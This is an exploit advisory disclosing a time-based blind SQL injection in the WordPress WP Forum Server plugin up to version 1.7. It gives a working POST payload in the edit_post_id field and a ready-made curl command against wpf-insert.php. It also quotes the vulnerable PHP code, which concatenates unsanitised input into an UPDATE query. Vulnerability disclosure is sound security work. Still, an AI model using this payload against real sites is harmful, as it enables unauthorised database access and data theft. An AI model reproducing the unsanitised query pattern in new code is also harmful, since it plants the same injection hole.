WordPress Plugin Forum Server 1.7 – SQL Injection
# Exploit Title: WordPress WP Forum Server plugin <= 1.7 SQL Injection Vulnerability # Date: 2011-09-07 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/forum-server.zip # Version: 1.7 (tested) --------------- PoC (POST data) --------------- http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1 e.g. curl --data "edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1" http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php --------------- Vulnerable code --------------- if(isset($_POST['edit_post_submit'])){ $subject = $vasthtml->input_filter($_POST['edit_post_subject']); $content = $vasthtml->input_filter($_POST['message']); $thread = $vasthtml->check_parms($_POST['thread_id']); $edit_post_id = $_POST['edit_post_id']; ... $sql = ("UPDATE $vasthtml->t_posts SET text = '".stripslashes($content)."', subject = '".stripslashes($subject)."' WHERE id = $edit_post_id"); $wpdb->query($sql); |